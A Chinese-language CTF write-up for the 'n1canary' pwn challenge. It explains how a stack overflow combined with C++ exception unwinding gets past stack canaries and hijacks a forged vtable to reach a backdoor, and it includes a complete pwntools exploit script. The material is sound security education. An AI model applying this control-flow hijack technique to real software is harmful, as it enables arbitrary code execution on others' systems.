觀察下這個 _isoc23_scanf() 函式,斷點打在 0x403547 處觀察資料寫入的位置

image-20240713152044274

計算輸入點與目標指標的距離為 0x70

image-20240713152347866

所以可以利用上述棧溢位去修改自定義 canary,來觸發異常,棧回退避開對自定義 canary 和系統 canary 的檢測,最後呼叫到解構函式

這樣下來,思路就理清楚了,在 user_canary 處偽造虛擬函式表指向後門函式,然後利用溢位修改儲存在棧上的 BOFApp 物件的虛擬函式表指標,即變數 v6,在此過程中自定義 canary 一定會被篡改,程式將會raise() 函式里丟擲異常,這裡是漏洞的觸發點,呼叫鏈如下
BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> ProtectedBuffer<64ul>::check(void) --> raise(char const*)

bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
  __int64 v1; // rbx
  bool result; // al

  v1 = *(_QWORD *)(a1 + 0x48);
  result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
  if ( result )
    raise("*** stack smash detected ***");
  return result;
}

void __fastcall __noreturn raise(const char *a1)
{
  std::runtime_error *exception; // rbx

  puts(a1);
  exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
  std::runtime_error::runtime_error(exception, a1);
  _cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}

異常處理流程最終呼叫到的解構函式處存在指標呼叫,但此時指標已被我們提前利用溢位資料控好了,造成任意程式碼執行

可以直接動調一下 raise() 函式內部,然後再看看函式返回哪裡呢。可以在一些地方下斷點除錯看看,比如 0x403291 處的丟擲異常0x403432 處的呼叫解構函式,最後在 0x4038fc 出現 crash,原因是不合法的 RAX,它的值是 BOFApp 類物件指標 v6,這是可以利用溢位寫到那的,所以是可控的,繼續往下看後面的彙編,會發現只要控了 RAX 就能夠控到 RDX,在最後的 call rdx; 處便能造成任意程式碼執行

image-20240713162506821

由於 user_canary 可控,可以嘗試在這裡偽造虛擬函式表並將指標劫持到這,這是構造好的 exp 執行到此處時的引數情況

image-20240713174704211

成功執行到後門函式

image-20240713174800878

另外提一嘴,上面提到了避開 canary 檢測執行到解構函式,筆者是這樣理解的:在程式正常執行時應該是在執行完 launch() 函式後執行解構函式,但在 raise() 函式里卻有異常被丟擲,而且回溯了整條函式呼叫鏈,包括 raise() 函式本身,都沒看見有能處理此異常的 catch 程式碼塊,合理猜測最終將會由 handler 執行解構函式,在此過程中自然也繞過了程式自身的 __stack_chk_fail_local 檢測

其實在建立物件的函式里,建立物件時會有建構函式,函式返回處會有解構函式。但當該函式執行到一半就丟擲了異常時,若在當前函式內不能正常捕捉異常,那這個函式剩下的部分便不會再被執行到了,自然也不會執行到函式返回處的那個解構函式。但是程式依舊是需要去執行解構函式銷燬物件的,達到釋放資源的目的,這種情況下應該是在 handler 中呼叫到解構函式的

最終的 exp 如下,還有一點要注意的是,中途覆蓋到的函式返回地址是不能亂填的,具體原因詳見 “0x00 前置知識” 處,與 unwind() 函式里的檢測有關,所以 ret 填回原來的 0x403407

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './n1canary'
p = process(pwnfile)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *0x403547')
    # b *0x40340D               # Destructor
    # b *0x403909               # pointer call
    # b *0x403291               # raise->throw
    # b *0x403432               # <main+146>    call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
    # b *0x4038fc
    backdoor = 0x403387
    user_canary = 0x4F4AA0
    payload = p64(user_canary+8) + p64(backdoor)*2
    payload = payload.ljust(0x40, 'a')
    p.sendafter('canary\n', payload)

    payload = 'a'*(0x70-0x8)
    payload += p64(0x403407)    # ret
    # payload += 'a'*(0x8)
    payload += p64(user_canary) # BOFApp *v6
    # p.sendlineafter(' to pwn :)\n', payload)

exp()
p.interactive()

後門命令執行了 /readflag

image-20240713163929851

參考

溢位漏洞在異常處理中的攻擊利用手法-上

溢位漏洞在異常處理中的攻擊利用手法-下

C++異常機制的實現方式和開銷分析

相關文章